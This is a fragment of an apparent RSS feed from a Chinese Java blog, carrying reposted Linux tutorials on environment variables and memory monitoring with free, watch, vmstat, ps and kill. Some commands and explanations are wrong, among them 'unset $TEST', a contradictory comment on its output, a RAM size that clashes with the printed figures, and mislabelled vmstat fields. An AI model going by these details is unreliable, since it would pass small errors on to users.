href="http://www.blogjava.net/kxbin/articles/382829.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>linux环境变量查询设置及保存</title><link>http://www.blogjava.net/kxbin/articles/382117.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Tue, 03 Jul 2012 14:31:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/382117.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/382117.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/382117.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/382117.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/382117.html</trackback:ping><description><![CDATA[<table style="table-layout: fixed; font-family: Arial; background-color: #ffffff; width: 850px; "><tbody><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; line-height: 18px; "><div id="blog_text" style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 14px; line-height: 20px; color: #333333; overflow: hidden; position: relative !important; ">1. 显示环境变量HOME<p style="line-height: normal; ">　　$ echo $HOME</p><p style="line-height: normal; ">　　/home/redbooks</p><p style="line-height: normal; ">2. 设置一个新的环境变量hello</p><p style="line-height: normal; ">　　$ export HELLO="Hello!"</p><p style="line-height: normal; ">　　$ echo $HELLO</p><p style="line-height: normal; ">　　Hello!</p><p style="line-height: normal; ">3. 使用env命令显示所有的环境变量</p><p style="line-height: normal; ">　　$ env</p><p style="line-height: normal; ">　　HOSTNAME=redbooks.safe.org</p><p style="line-height: normal; ">　　PVM_RSH=/usr/bin/rsh</p><p style="line-height: normal; ">　　SHELL=/bin/bash</p><p style="line-height: normal; ">　　TERM=xterm</p><p style="line-height: normal; ">　　HISTSIZE=1000</p><p style="line-height: normal; ">　　...</p><p style="line-height: normal; ">4. 使用set命令显示所有本地定义的Shell变量</p><p style="line-height: normal; ">　　$ set</p><p style="line-height: normal; ">　　BASH=/bin/bash</p><p style="line-height: normal; ">　　BASH_VERSINFO=([0]="2"[1]="05b"[2]="0"[3]="1"[4]="release"[5]="i386-redhat-linux-gnu")</p><p style="line-height: normal; ">　　BASH_VERSION='2.05b.0(1)-release'</p><p style="line-height: normal; ">　　COLORS=/etc/DIR_COLORS.xterm</p><p style="line-height: normal; ">　　COLUMNS=80</p><p style="line-height: normal; ">　　DIRSTACK=()</p><p style="line-height: normal; ">　　DISPLAY=:0.0</p><p style="line-height: normal; ">　　...</p><p style="line-height: normal; ">5. 使用unset命令来清除环境变量</p><p style="line-height: normal; ">　　set可以设置某个环境变量的值。清除环境变量的值用unset命令。如果未指定值，则该变量值将被设为NULL。示例如下：</p><p style="line-height: normal; ">　　$ export TEST="Test..." #增加一个环境变量TEST</p><p style="line-height: normal; ">　　$ env|grep TEST #此命令有输入，证明环境变量TEST已经存在了</p><p style="line-height: normal; ">　　TEST=Test...</p><p style="line-height: normal; ">　　$ unset $TEST #删除环境变量TEST</p><p style="line-height: normal; ">　　$ env|grep TEST #此命令没有输出，证明环境变量TEST已经存在了</p><p style="line-height: normal; ">6. 使用readonly命令设置只读变量</p><p style="line-height: normal; ">　　如果使用了readonly命令的话，变量就不可以被修改或清除了。示例如下：</p><p style="line-height: normal; ">　　$ export TEST="Test..." #增加一个环境变量TEST</p><p style="line-height: normal; ">　　$ readonly TEST #将环境变量TEST设为只读</p><p style="line-height: normal; ">　　$ unset TEST #会发现此变量不能被删除</p><p style="line-height: normal; ">　　-bash: unset: TEST: cannot unset: readonly variable</p><p style="line-height: normal; ">　　$ TEST="New" #会发现此也变量不能被修改</p><p style="line-height: normal; ">　　-bash: TEST: readonly variable</p><p style="line-height: normal; ">7. 环境变量的设置位于/etc/profile文件</p><p style="line-height: normal; ">　　如果需要增加新的环境变量可以添加下属行</p><p style="line-height: normal; ">　　export path=$path:/path1:/path2:/pahtN</p><br style="line-height: normal; " /><p style="line-height: normal; ">本文摘自：http://www.5dmail.cn/html/2007-3-22/2007322185438.htm</p></div></td></tr></tbody></table><img src ="http://www.blogjava.net/kxbin/aggbug/382117.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-07-03 22:31 <a href="http://www.blogjava.net/kxbin/articles/382117.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux服务器系统内存监控方法详解</title><link>http://www.blogjava.net/kxbin/articles/382116.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Tue, 03 Jul 2012 14:24:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/382116.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/382116.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/382116.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/382116.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/382116.html</trackback:ping><description><![CDATA[<span style="color: #333333; font-family: Arial; line-height: 20px; background-color: #ffffff; ">内存是Linux内核所管理的最重要的资源之一。</span><br style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; line-height: 20px; background-color: #ffffff; ">内存管理系统是操作系统中 最为重要的部分，因为系统的物理内存总是少于系统所需要的内存数量。虚拟内存就是为了克服这个矛盾而采用的策略。系统的虚拟内存通过在各个进程之间共享内 存而使系统看起来有多于实际内存的内存容量。</span><br style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; line-height: 20px; background-color: #ffffff; ">Linux支持虚拟内存, 就是使用磁盘作为RAM的扩展，使可用内存相应地有效扩大。核心把当前不用的内存块存到硬盘，腾出内存给其他目的。当原来的内容又要使用时，再读回内存。</span><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; "><strong>一、内存使用情况监测</strong></p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　（1）实时监控内存使用情况</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　在命令行使用&#8220;Free&#8221;命令可以监控内存使用情况</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; "></p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">＃free&nbsp;</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">--------------------------------------------------------------------------------------------------------</p><span style="color: #333333; font-family: Arial; line-height: 20px; background-color: #ffffff; ">total&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; used&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; free&nbsp;&nbsp;&nbsp;&nbsp; shared&nbsp;&nbsp;&nbsp; buffers&nbsp;&nbsp;&nbsp;&nbsp; cached</span><br style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; line-height: 20px; background-color: #ffffff; ">Mem:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8161244&nbsp;&nbsp;&nbsp; 8143540&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 17704&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2364&nbsp;&nbsp;&nbsp;&nbsp; 862404</span><br style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; line-height: 20px; background-color: #ffffff; ">-/+ buffers/cache:&nbsp;&nbsp;&nbsp; 7278772&nbsp;&nbsp;&nbsp;&nbsp; 882472</span><br style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; line-height: 20px; background-color: #ffffff; ">Swap:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1020088&nbsp;&nbsp;&nbsp; 1014332&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5756</span><br style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; line-height: 20px; background-color: #ffffff; ">--------------------------------------------------------------------------------------------------------</span><br style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; " /><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　上面给出了一个256兆的RAM和512兆<a href="http://www.soidc.net/search_article.shtml?wo=%BD%BB%BB%BB%BF%D5%BC%E4" target="_blank" style="color: #993300; ">交换空间</a>的 系统情况。第三行输出(Mem:)显示物理内存。total列不显示核心使用的物理内存(通常大约1MB)。used列显示被使用的内存总额(第二行不计 缓冲)。 free列显示全部没使用的内存。Shared列显示多个进程共享的内存总额。Buffers列显示磁盘缓存的当前大小。第五行(Swap:)对对换空 间，显示的信息类似上面。如果这行为全0，那么没使用对换空间。在缺省的状态下，free命令以千字节(也就是1024字节为单位)来显示内存使用情况。 可以使用?h参数以字节为单位显示内存使用情况，或者可以使用?m参数以兆字节为单位显示内存使用情况。还可以通过?s参数使用命令来不间断地监视内存使 用情况：</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　＃free -b -s2</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　这个命令将会在终端窗口中连续不断地报告内存的使用情况，-b：单位为bytes，-s2：每2秒钟更新一次。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　（2）组合watch&nbsp; free命令用来实时监控内存使用情况：</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; "></p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">#watch -n 2 -d free</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">--------------------------------------------------------------------------------------------------------</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">Every 2.0s: free&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fri Nov 20 10:34:39 2009<br /><br />total&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; used&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; free&nbsp;&nbsp;&nbsp;&nbsp; shared&nbsp;&nbsp;&nbsp; buffers&nbsp;&nbsp;&nbsp;&nbsp; cached<br />Mem:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8161244&nbsp;&nbsp;&nbsp; 8143412&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 17832&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2364&nbsp;&nbsp;&nbsp;&nbsp; 861928<br />-/+ buffers/cache:&nbsp;&nbsp;&nbsp; 7279120&nbsp;&nbsp;&nbsp;&nbsp; 882124<br />Swap:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1020088&nbsp;&nbsp;&nbsp; 1014332&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5756</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">--------------------------------------------------------------------------------------------------------</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　watch命令会每两秒执行 free一次，执行前会清除屏幕，在同样位置显示数据。因为 watch命令不会卷动屏幕，所以适合出长时间的监测内存使用率。可以使用 -n选项，控制执行的频率；也可以利用 -d选项，让命令将每次不同的地方显示出来。Watch命令会一直执行，直到您按下 [Ctrl]-[C] 为止。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; "><strong>二、虚拟内存的概念</strong></p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　（1）Linux虚拟内存实现机制</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　Linux虚拟内存的实现需要六种机制的支持：地址映射机制、内存分配回收机制、缓存和刷新机制、请求页机制、交换机制、内存共享机制。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　首先内存管理程序通过映射机制把用户程序的逻辑地址映射到物理地址，在用户程序运行时如果发现程序中要用的虚地址没有对应的物理内存时，就发出 了请求页要求；如果有空闲的内存可供分配，就请求分配内存(于是用到了内存的分配和回收)，并把正在使用的物理页记录在缓存中(使用了缓存机制)。 如果没有足够的内存可供分配，那么就调用交换机制，腾出一部分内存。另外在地址映射中要通过TLB(翻译后援存储器)来寻找物理页；交换机制中也要用到交 换缓存，并且把物理页内容交换到交换文件中后也要修改页表来映射文件地址。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　（2）虚拟内存容量设定</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　也许有人告诉你，应该分配2倍于物理内存的虚拟内存，但这是个不固定的规律。如果你的物理保存比较小，可以这样设定。如果你有1G物理内存或更 多的话，可以缩小一下虚拟内存。Linux会把大量的内存用做Cache的,但在资源紧张时回收回.。你只要看到swap为0或者很小就可以放心了,因为 内存放着不用才是最大的浪费。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; "><strong>三、使甩vmstat命令监视虚拟内存使用情况</strong></p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　vmstat是Virtual Meomory Statistics（虚拟内存统计）的缩写，可对<a href="http://www.soidc.net/search_article.shtml?wo=%B2%D9%D7%F7%CF%B5%CD%B3" target="_blank" style="color: #993300; ">操作系统</a>的虚拟内存、进程、CPU活动进行监视。它是对系统的整体情况进行统计，不足之处是无法对某个进程进行深入分析。通常使用vmstat 1 10（表示每1秒刷一次，共刷10次）命令测试。将得到一个数据汇总它可以反映真正的系统情况。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; "></p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">＃vmstat 1 10&nbsp;</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">--------------------------------------------------------------------------------------------------------</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">procs -----------memory---------- ---swap-- -----io---- --system-- ----cpu----<br />r&nbsp; b&nbsp;&nbsp; swpd&nbsp;&nbsp; free&nbsp;&nbsp; buff&nbsp; cache&nbsp;&nbsp; si&nbsp;&nbsp; so&nbsp;&nbsp;&nbsp; bi&nbsp;&nbsp;&nbsp; bo&nbsp;&nbsp; in&nbsp;&nbsp;&nbsp; cs us sy id wa<br />0&nbsp; 0 1014332&nbsp; 18800&nbsp;&nbsp; 2364 861248&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 48&nbsp;&nbsp;&nbsp; 72&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp; 1&nbsp; 0 98&nbsp; 1<br />0&nbsp; 0 1014332&nbsp; 18800&nbsp;&nbsp; 2364 861248&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; 0 1130&nbsp; 1134&nbsp; 0&nbsp; 0 100&nbsp; 0<br />0&nbsp; 0 1014332&nbsp; 18800&nbsp;&nbsp; 2364 861248&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 128 1212&nbsp; 1158&nbsp; 0&nbsp; 0 100&nbsp; 0<br />0&nbsp; 0 1014332&nbsp; 18800&nbsp;&nbsp; 2364 861248&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; 0 1130&nbsp; 1104&nbsp; 0&nbsp; 0 100&nbsp; 0<br />0&nbsp; 0 1014332&nbsp; 18800&nbsp;&nbsp; 2364 861248&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; 0 1186&nbsp; 1104&nbsp; 0&nbsp; 0 100&nbsp; 0<br />0&nbsp; 0 1014332&nbsp; 18840&nbsp;&nbsp; 2364 861248&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; 0 1135&nbsp; 1101&nbsp; 1&nbsp; 0 99&nbsp; 0<br />0&nbsp; 0 1014332&nbsp; 18840&nbsp;&nbsp; 2364 861248&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; 0 1129&nbsp; 1039&nbsp; 0&nbsp; 0 100&nbsp; 0<br />0&nbsp; 0 1014332&nbsp; 18848&nbsp;&nbsp; 2364 861248&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 44 1202&nbsp; 1055&nbsp; 0&nbsp; 0 100&nbsp; 0<br />0&nbsp; 0 1014332&nbsp; 18848&nbsp;&nbsp; 2364 861248&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; 0 1144&nbsp; 1090&nbsp; 0&nbsp; 0 100&nbsp; 0<br />0&nbsp; 0 1014332&nbsp; 18880&nbsp;&nbsp; 2364 861248&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp; 0 1194&nbsp; 1134&nbsp; 1&nbsp; 0 99&nbsp; 0</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">--------------------------------------------------------------------------------------------------------</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　vmstat命令输出分成六个部分：</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　(1)进程procs：</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　r：在运行队列中等待的进程数 。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　b：在等待io的进程数 。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　(2)内存memoy：</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　swpd：现时可用的交换内存（单位KB）。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　free：空闲的内存（单位KB）。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　buff: 缓冲去中的内存数（单位：KB）。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　cache：被用来做为高速缓存的内存数（单位：KB）。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　（3） swap交换页面</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　si: 从磁盘交换到内存的交换页数量，单位：KB/秒。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　so: 从内存交换到磁盘的交换页数量，单位：KB/秒。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　(4) io块设备:</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　bi: 发送到块设备的块数，单位：块/秒。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　bo: 从块设备接收到的块数，单位：块/秒。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　(5)system系统：</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　in: 每秒的中断数，包括时钟中断。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　cs: 每秒的环境（<a href="http://www.soidc.net/search_article.shtml?wo=%C9%CF%CF%C2%CE%C4" target="_blank" style="color: #993300; ">上下文</a>）切换次数。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　（6）cpu中央处理器：</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　cs：用户进程使用的时间 。以百分比表示。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　sy：系统进程使用的时间。 以百分比表示。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　id：中央处理器的空闲时间 。以百分比表示。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　如果 r经常大于 4 ，且id经常小于40，表示中央处理器的负荷很重。 如果bi，bo 长期不等于0，表示物理内存容量太小。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; "></p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; "><strong>四、Linux 服务器的内存泄露和回收内存的方法</strong></p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　1、内存泄漏的定义：</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　一般我们常说的内存泄漏是指堆内存的泄漏。堆内存是指程序从堆中分配的，大小任意的（内存块的大小可以在程序运行期决定），使用完后必须显示释放的内存。<a href="http://www.soidc.net/search_article.shtml?wo=%D3%A6%D3%C3%B3%CC%D0%F2" target="_blank" style="color: #993300; ">应用程序</a>一般使用malloc，realloc，new等函数从堆中分配到一块内存，使用完后，程序必须负责相应的调用free或delete释放该内存块，否则，这块内存就不能被再次使用，我们就说这块内存泄漏了。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　2、内存泄露的危害</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　从用户使用程序的角度来看，内存泄漏本身不会产生什么危害，作为一般的用户，根本感觉不到内存泄漏的存在。真正有危害的是内存泄漏的堆积，这会 最终消耗尽系统所有的内存。从这个角度来说，一次性内存泄漏并没有什么危害，因为它不会堆积，而隐式内存泄漏危害性则非常大，因为较之于常发性和偶发性内 存泄漏它更难被检测到。存在内存泄漏问题的程序除了会占用更多的内存外，还会使程序的性能急剧下降。对于服务器而言，如果出现这种情况，即使系统不崩溃， 也会严重影响使用。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　3、内存泄露的检测和回收</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　对于内存溢出之类的麻烦可能大家在编写指针比较多的复杂的程序的时候就会遇到。在 Linux 或者 unix 下，C、C＋＋语言是最使用工具。但是我们的 C++ 程序缺乏相应的手段来检测内存信息，而只能使用 top 指令观察进程的动态内存总额。而且程序退出时，我们无法获知任何内存泄漏信息。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　使用kill命令</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　使用Linux命令回收内存，我们可以使用Ps、Kill两个命令检测内存使用情况和进行回收。在使用超级用户权限时使用命令&#8220;Ps&#8221;，它会列出所有正在运行的程序名称，和对应的进程号（PID）。Kill命令的工作原理是：向Linux<a href="http://www.soidc.net/search_article.shtml?wo=%B2%D9%D7%F7%CF%B5%CD%B3" target="_blank" style="color: #993300; ">操作系统</a>的内核送出一个系统操作信号和程序的进程号（PID）。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　应用例子：</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　为了高效率回收内存可以使用命令ps 参数v：</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; "></p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">[root@www ~]# ps v&nbsp;</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">--------------------------------------------------------------------------------------------------------</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">&nbsp;PID TTY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; STAT&nbsp;&nbsp; TIME&nbsp; MAJFL&nbsp;&nbsp; TRS&nbsp;&nbsp; DRS&nbsp; RSS %MEM COMMAND<br />11514 pts/14&nbsp;&nbsp; Ss&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 679 54456&nbsp;&nbsp; 40&nbsp; 0.0 /bin/bash<br />9898 pts/14&nbsp;&nbsp; S+&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp; 2377 67094&nbsp;&nbsp; 56&nbsp; 0.0 vim diff.txt<br />26007 pts/6&nbsp;&nbsp;&nbsp; Ss+&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp; 679 54452&nbsp; 580&nbsp; 0.0 -bash<br />6217 pts/8&nbsp;&nbsp;&nbsp; Ss&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 679 54324 1020&nbsp; 0.0 -bash<br />17900 pts/3&nbsp;&nbsp;&nbsp; Ss&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 679 54316&nbsp; 564&nbsp; 0.0 -bash</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">--------------------------------------------------------------------------------------------------------　</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">然后如果想回收vim命令的内存的话，使用命令：</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　＃ Kill －9 9898</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　使用工具软件</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">　　Memprof是一个非常具有吸引力且非常易于使用的软件，它由Red Hat的Owen Talyor创立。这个工具是用于GNOME前端的Boehm-Demers-Weiser<a href="http://www.soidc.net/search_article.shtml?wo=%C0%AC%BB%F8%BB%D8%CA%D5" target="_blank" style="color: #993300; ">垃圾回收</a>器。这个工具直接就可以执行，并且其工作起来无需对源代码进行任何修改。在程序执行时，这个工具会以图形化的方式显示内存的使用情况。</p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; "></p><p style="line-height: normal; color: #333333; font-family: Arial; background-color: #ffffff; ">部分摘自：http://www.chinaz.com/Server/Linux/0926393Q2008.html</p><img src ="http://www.blogjava.net/kxbin/aggbug/382116.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-07-03 22:24 <a href="http://www.blogjava.net/kxbin/articles/382116.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>sed命令详解（转载）</title><link>http://www.blogjava.net/kxbin/articles/382114.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Tue, 03 Jul 2012 14:04:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/382114.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/382114.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/382114.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/382114.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/382114.html</trackback:ping><description><![CDATA[<table style="table-layout: fixed; font-family: Arial; background-color: #ffffff; width: 850px; "><tbody><tr><td style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; line-height: 18px; "><div id="blog_text" style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 14px; line-height: 20px; color: #333333; overflow: hidden; position: relative !important; "><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; line-height: normal; margin: 15px; "><div style="word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; "><strong>本文转自：<a target="_blank" href="http://blog.chinaunix.net/u/22677/showart_1076318.html" style="color: #993300; 